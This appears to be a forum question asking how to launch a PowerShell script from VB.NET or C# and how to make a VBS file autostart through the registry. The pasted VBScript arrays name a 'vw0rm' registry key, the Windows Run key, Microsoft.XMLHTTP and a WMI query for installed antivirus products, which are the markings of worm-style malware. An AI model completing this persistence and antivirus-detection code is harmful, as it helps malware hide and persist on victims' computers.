I have a file script ps.1 I want to run file ps.1 from vb.net or c# anyone can help me, please and also I want to copy my VBS file to register windows i use this code but not work
j = array("WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP") g = array("HKCU","HKLM","HKCU\vw0rm","\Software\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Classes","REG_SZ","\defaulticon") y= array("winmgmts:","win32_logicaldisk","Win32_OperatingSystem","winmgmts:\localhost\root\securitycenter","AntiVirusProduct")